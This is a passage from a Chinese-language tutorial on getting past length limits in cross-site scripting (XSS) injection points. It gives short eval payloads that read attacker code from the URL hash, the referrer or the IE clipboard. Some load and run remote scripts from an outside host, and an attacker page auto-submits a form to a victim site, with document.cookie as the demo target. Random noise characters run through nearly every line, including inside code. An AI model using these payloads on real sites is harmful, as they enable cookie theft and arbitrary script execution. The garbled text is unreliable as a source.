8 ?( L% o" K% v7 O" h长度:28 + len(id) 4 V7 X8 g8 _; r) Z7 k, l8 `2 a! M & ^5 ]' g& j" A3 d/ E 由于x内部的数据没有字符数量的限制,那么从而可以达到执行任意JS的目的。' [# r( I- l* K7 U f
' r$ y A. Q3 D9 S7 Y
- x- u% f* L y' X: A0 k2.2 利用URL中的数据 : Q( o) j# [& o) m0 m4 o7 U% |5 w7 i, M9 D2 q$ n# p
如果页面里不存在上一节所说的可控HTML上下文数据怎么办?有些数据是我们无条件可 ( _$ b) {" X1 F. \& j8 r ^控的,第一个想到的就是URL,通过在URL的尾部参数构造要执行的代码,然后在XSS点通过! \7 L. c( j9 l, @8 r3 V
document.URL/location.href等方式获得代码数据执行,这里假设代码从第80个字符开始到5 s2 a* v4 N: X* ~" t$ H, N5 x, e
最后:( Y2 M1 w6 _4 j$ `+ y
0 N+ L$ V6 @; n' \4 |+ K5 d' i--code-------------------------------------------------------------------------3 M. l$ S9 b f; G' g5 S http://www.xssedsite.com/xssed.php?x=1....&alert(document.cookie)0 P0 j5 R0 _- N# @& Y
3 n) k3 S; z& y7 c: W1 }
<limited_xss_point>eval(document.URL.substr(80));</limited_xss_point>9 f2 E U) r- s
------------------------------------------------------------------------------- 8 Z9 @0 M1 C& F* b* P1 Z" x+ e6 E* P, j5 }
长度:30 8 ^$ R' w4 t# W2 r# Y" O$ U7 I. ^ H5 ^) n% Z
--code-------------------------------------------------------------------------1 x3 Y0 R: [2 k8 V, F7 I
<limited_xss_point>eval(location.href.substr(80));</limited_xss_point> ) @3 [6 |6 N( d' \; E" {------------------------------------------------------------------------------- ) ?) v8 s1 @- }! |( Q6 A: U! ~ 0 h/ Y4 v9 P1 \长度:31* a; l. x- P+ X3 p/ {/ j3 C
f& d1 G1 ?+ }1 i9 r3 i; @
上面两个例子对比,前一个例子更短,那么有没有办法更短呢?通过查阅JavaScript手册 $ ~; |- s% l2 ^4 Y的String的方法可以发现,切割字符串有一个更短的函数slice,5个字符比substr还要短一个5 p8 ]6 k! }! q: N7 s5 f
字符: e Z5 t$ W! t7 j ' w( q- I) ^8 w5 e; m--code------------------------------------------------------------------------- . z' r. g6 n$ `! C% U) e<limited_xss_point>eval(document.URL.slice(80));</limited_xss_point>: }* j t( {7 S7 J0 x9 M9 p
------------------------------------------------------------------------------- * @. }; ~! K$ _2 V2 z4 w * @ H/ S: i1 T, }$ m E4 ]长度:29 : t( Y9 i6 d/ [' ]' m ' \" N( A$ }5 I% T( k; q# C--code------------------------------------------------------------------------- : n- e3 y+ k2 r3 g5 d7 {<limited_xss_point>eval(location.href.slice(80));</limited_xss_point> ' i x- H' B% \' U------------------------------------------------------------------------------- . L2 f2 l J" M+ C2 _ ; \% E$ x# I7 ~% _( _长度:30 . x7 F4 Q7 t6 c / L @$ m3 N. B# v' u 那么还有没有办法更短呢?答案是YES,查阅一下MSND里的location对象的参考你会发现 3 B1 I0 ^5 ?9 V: K有个hash成员,获取#之后的数据,那么我们可以把要执行的代码放在#后面,然后通过hash获8 G- ~- o' X; o ^5 P* `
得代码执行,由于获得的数据是#开头的,所以只需要slice一个字符就可以拿到代码:( t3 }$ N" a4 o3 f2 f% r5 u4 Z0 U
. U& a. x( T" A' g: n B W- R2 C--code------------------------------------------------------------------------- - H! ^7 e$ N7 N# qhttp://www.xssedsite.com/xssed.php?x=1....#alert(document.cookie) 8 q" R8 s4 ?# D/ ]" K; z* W9 U( M 9 F# i& {% R: }+ u& j0 J }<limited_xss_point>eval(location.hash.slice(1));</limited_xss_point>) Y e/ f+ C/ }
------------------------------------------------------------------------------- : y S2 q% x9 l) l; C+ U! P% B5 y 0 g% i3 b; @: ^0 y& k长度:29 + T; O3 l* u$ v4 F' d. {" N' J8 N* h; B3 x0 R+ v4 S
这样比上面的例子又少了一个字符。那么还可以更短么?4 I& A' K1 T$ S
: y" e5 c9 K/ A1 V9 f4 P$ X( H+ _0 e7 u S7 s
2.3 JS上下文的利用" }3 L* K7 d/ y9 V" c3 f' i: X
_, [/ u2 e+ i) i) A$ V 为什么我如此痛苦?那是因为JS和DHTML的方法名和属性名太长!瞧瞧这些“糟糕”的名字:1 Y+ j4 W/ F" W
& o( D/ j; _# c4 ^, N7 C! M4 AString.fromCharCode 6 T& I2 O, ^. D! m8 A9 }getElementById1 w& V4 d7 j4 {' n6 ^% ~$ O
getElementsByTagName 4 q3 u) b( X# t0 B$ S! ^2 jdocument.write $ X( R7 b2 _) j& ?# {4 M( sXMLHTTPRequest- F" S9 ~: t1 E8 k, v7 B
...8 ?. m2 m' J, [& e4 A5 t2 V
/ I3 m# s# c# ?& ?& f3 ^, B! l
就连开发人员也不愿意多写一次,于是很多站点的前端开发工程师们封装了各式各样的 / O8 q9 L1 T" ]$ Z8 N简化函数,最经典的例子就是: % ~2 k% J3 `- H) B * Z4 X7 g4 A w \7 a, o! @3 p/ e--code-------------------------------------------------------------------------; V: M) d M l' [
function $(id) {/ I7 R, U: v$ A4 z( s6 b" S
return document.getElementById(id);+ y- A% z! k" A( T8 w) Z6 M" j
} ; F; Z5 z1 z' g6 Z" |* ]-------------------------------------------------------------------------------: U. x' a. R# N) s
( r+ j0 \) R0 m' _) c. g 这些函数同样可以为我们所用,用来缩短我们的Payload的长度。不过上面这个例子不是 ' d9 k1 }! r1 \6 a f最短的,IE和FF都支持直接通过ID来引用一个元素。有些函数可以直接用来加载我们的代码: & k- f8 K3 |* L * {2 f4 K' {( X8 v0 A! r--code------------------------------------------------------------------------- ) G6 S+ V8 |. N @% O0 ]/ B& h7 s2 jfunction loads(url) {( h3 f! ?/ g! U( X( u
... 0 D3 y! U8 [( N6 { document.body.appendChild(script); J. b- R0 ^ j% Z7 j}" j# d7 {0 d$ q4 r* r
$ G, X& [$ c# D( j<limited_xss_point>loads('http://xxx.com/x');</limited_xss_point>; N' g4 _* h6 Z
-------------------------------------------------------------------------------2 S9 k3 @- [: M: I8 h
( ~. G* x1 T) i( Z
长度:len(函数名) + len(url) + 5 ; P; C) O, |! V3 J 1 w9 y. X; \7 }- N" o" c 当然你的url则是越短越好哦!有些函数则会帮我们去作HTTP请求:/ q; u9 L7 }# \8 E" h
1 _- [5 c2 y8 q/ y6 j- N
--code------------------------------------------------------------------------- * T9 I# h4 a' L( Yfunction get(url) {- ^# c% D* \$ B& g) ]! \: A
... " }0 S9 ?) p. Y, g# ~' A return x.responseText;* {2 r2 O# w, I8 ^$ ^
} ; q1 b+ H0 X3 V' y) Z% ]+ j8 `5 a; i 7 k* f+ W% c# a% O# ^<limited_xss_point>eval(get('http://xxx.com/x'));</limited_xss_point> `% V, t7 O$ G1 }5 P( G6 D) K- L
------------------------------------------------------------------------------- 0 [! {0 f7 y( v9 S1 f) M1 s) v- F
长度:len(函数名) + len(url) + 11 1 \; c' ?# b# b+ {1 J! @ q3 {! R* T6 f/ m7 A3 _8 q 道哥则提出有些流行的JS的开发框架也封装了大量功能强劲的库可供调用,比如:8 M7 K2 a7 L& B4 h# e! U
; v& T( T; u% h; S, Q$ t
JQuery - w6 j# K, K! b# |5 a$ Y0 ~YUI- g* v/ B+ g; U3 k
... # N7 U' p" ]# m 2 c. ^8 A, I. [# A& h; E D. q 综上所述,我们可以通过分析JS上下文现有的框架、对象、类、函数来尽可能的缩短我 : G& a- T8 b! [& K5 m们的代码,进而突破长度限制执行任意代码。 # G2 l7 s. x2 R" T6 G# r& b- ?, u. u4 a2 ^
6 }' c' \( L& n# P/ @2 x6 X) b. }
2.4 利用浏览器特性在跨域的页面之间传递数据 ! [* l4 x* Z* g( w, y1 C" E0 s) p: T3 ?1 U& V; J% D- [: W
虽然有同源策略的限制,浏览器的功能设计上仍然保留了极少数的可以跨域传递数据的8 l& u# T" P. V* r8 @2 |
方法,我们可以利用这些方法来跨页面传递数据到被XSS的域的页面去执行。; t/ v; Y! j8 P/ @& E' N
; I) c) k. @" h. G! g. n
2.4.1 document.referrer5 n- v, {& j0 ~$ W2 y) I* G3 H! R) J
+ W3 S+ q9 f" q8 d
攻击者可以在自己的域上构造页面跳转到被XSS页面,在自己域上的页面的url里带了$ v( J/ k0 F/ D' z
Payload,被XSS的页面通过referrer获取相关代码执行。 # u( z4 E7 y1 n) I; t) U- ~# p2 ~4 V+ H
攻击者构造的的页面: ; f8 i- I1 U# c: p( u+ ~+ W) Z. W- S. y6 a3 u5 g
--code------------------------------------------------------------------------- y& ^; q% t4 x: @- |http://www.a.com/attack.html?...&alert(document.cookie) . N# c( O2 R l u' p ' C5 x4 ]9 I w& B<a href="http://www.xssedsite.com/xssed.php">go</a> 1 p+ l3 ?* W' D5 s5 g-------------------------------------------------------------------------------5 K3 T4 t/ J& b! w
7 s* t' W s& ]0 ^* g: x被XSS的页面:' E" d5 e% e8 L+ _* M- u4 L7 I
6 C+ K% C, z& l% M& S
--code------------------------------------------------------------------------- u; t) h4 K- G* e n# l X
<limited_xss_point>eval(document.referrer.slice(80));</limited_xss_point>+ Q7 G( b! S- R. Z' d' g
-------------------------------------------------------------------------------( N3 o. Y9 t; W5 a; d
! W6 h7 p. w' e* @2 A1 Q6 v
长度:34$ c7 Y; f. a0 v( m3 g; P. {6 u# M* L
+ O5 s2 b: ~4 ?* m" l1 G7 N( N0 ^ 这种方式利用上还有一些问题,如果使用location.href或者<meta http-equiv=refresh> # B- S! k/ M6 q0 Y# k# u7 @实现的自动跳转,在IE里被攻击页面拿不到referrer,而FF则可以。QZ建议用表单提交的方式 : X. a, z7 g; V2 r4 C! ^: I比较好,我测试了下,果然通用,FF/IE都可以成功获取referrer:5 p O4 a) _" G9 V, I0 G
+ L, [8 K, s) {" \: V" e0 w6 Y$ v, j
--code------------------------------------------------------------------------- . e" r& j' h: M2 \! c9 t% s% p<script type="text/javascript"> . X. [0 g2 @! r6 x* b' ^<!-- ' \- x6 U0 }: R7 E( c& n! Awindow.onload = function(){ : i; x# t" x$ A0 s" d var f = document.createElement("form"); & Z% N2 p! N1 ~3 t& g$ A7 R f.setAttribute("method", "get"); # b9 ?2 ^, B4 d4 a3 b7 @8 p f.setAttribute("action", "http://www.xssedsite.com/xssed.php"); 3 S7 o. H" y+ ` a" ]( F' x document.body.appendChild(f);: V" Q0 |$ `8 Z
f.submit(); 0 G3 b3 _0 V1 v' w; l, W};& h/ f1 }; {: z8 ^9 T5 }& Z
//-->: A) L0 l+ P& U \2 E6 ~' w7 P
</script> ) b0 D T5 [% i: P" Q4 {% L) X-------------------------------------------------------------------------------5 K% h$ i5 r! M1 C
: t5 a. b# @3 ~+ N 2 ~5 P' {0 c+ b2.4.2 剪切板clipboardData5 v9 ]# h% Z1 }# E
" o/ D% O3 f4 ^ v# b 攻击者在自己域的页面上通过clipboardData把Payload写入剪切板,然后在被XSS页面获 + p2 F& H) m7 s0 i: |& ]取并执行该数据。 A: Y5 y6 F, V9 p- p$ X- c 7 x3 R, x% ~" a攻击者构造的页面: w1 }7 ^6 q3 j- o% U1 V, F; q- g6 Z2 `9 V- j' m; \" u
--code------------------------------------------------------------------------- 2 r' P: U7 @0 ~4 E# u3 }) m! `: z/ ]<script> , x/ N: w) i O. e* o6 E! [. jclipboardData.setData("text", "alert(document.cookie)");* ?$ b- c' @% I- }' ?9 @. F
</script> 1 P. ?1 L9 O2 o) |-------------------------------------------------------------------------------- ]- r- D, N! v% m8 t, \8 r' ^+ U
! Q/ G, G0 F) |* ]5 b
被XSS的页面: P& F6 g! @% Z2 h
3 a4 L9 h5 b, b" E; V# ]8 k6 r, g& [
--code-------------------------------------------------------------------------* V4 d$ v8 I5 t! |" z* p! m3 ?$ T
<limited_xss_point>eval(clipboardData.getData("text"));</limited_xss_point>) T8 o, i0 ]. X) }: l! P) J$ p ]
-------------------------------------------------------------------------------3 @% L# t# B/ D
2 ?7 q/ E# `* \( J* T0 g
长度:36 3 q9 M) j! {9 b% N- l 1 [& R! v0 \- T, Q1 y$ i [0 A' t 这种方式只适用于IE系列,并且在IE 7及以上版本的浏览器会有安全提示。 _2 C a0 J, I